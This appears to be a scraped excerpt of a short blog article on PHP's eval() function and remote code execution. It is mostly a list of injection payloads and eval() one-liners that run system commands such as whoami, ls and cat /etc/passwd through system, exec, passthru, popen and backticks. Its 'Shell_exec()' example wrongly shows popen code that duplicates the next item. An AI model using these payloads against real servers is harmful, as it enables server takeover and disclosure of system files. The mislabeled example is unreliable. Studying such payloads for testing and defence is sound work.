The Danger of PHP Eval():

8 months ago 68
BOOK THIS SPACE FOR AD
ARTICLE AD

Prashant Roy

PHP’s eval() function, often dubbed as one of the most controversial features in web development, serves as a double-edged sword. On one hand, it offers a powerful means to execute PHP code dynamically, but on the other, it opens a Pandora’s box of security vulnerabilities, particularly Remote Code Execution (RCE).

The eval() function in PHP is like a magic spell that can make any piece of text turn into real, executable PHP code.

Security Issues with Eval()

The eval() function evaluates a string as PHP code. This seemingly innocent functionality becomes a weapon in the hands of an attacker when combined with user input that is not properly sanitized. The potential for damage ranges from unauthorized disclosure of information to a complete takeover of the server.

Payloads to test eval() or RCE

sleep(100);

phpinfo();

a+a

How to exploit Eval

1. System()

eval("system('ls');");

2. Exec()

eval("exec('whoami', \$output); echo \$output[0];");

3. Passthru()

eval("passthru('cat /etc/passwd');");

4. Shell_exec()

eval("\$handle = popen('/bin/ls', 'r'); echo fread(\$handle, 2096);");

5. Popen() and Proc_open()

eval("\$handle = popen('/bin/ls', 'r'); echo fread(\$handle, 2096);");

6. The Backtick Trick

`whoami`;
Read Entire Article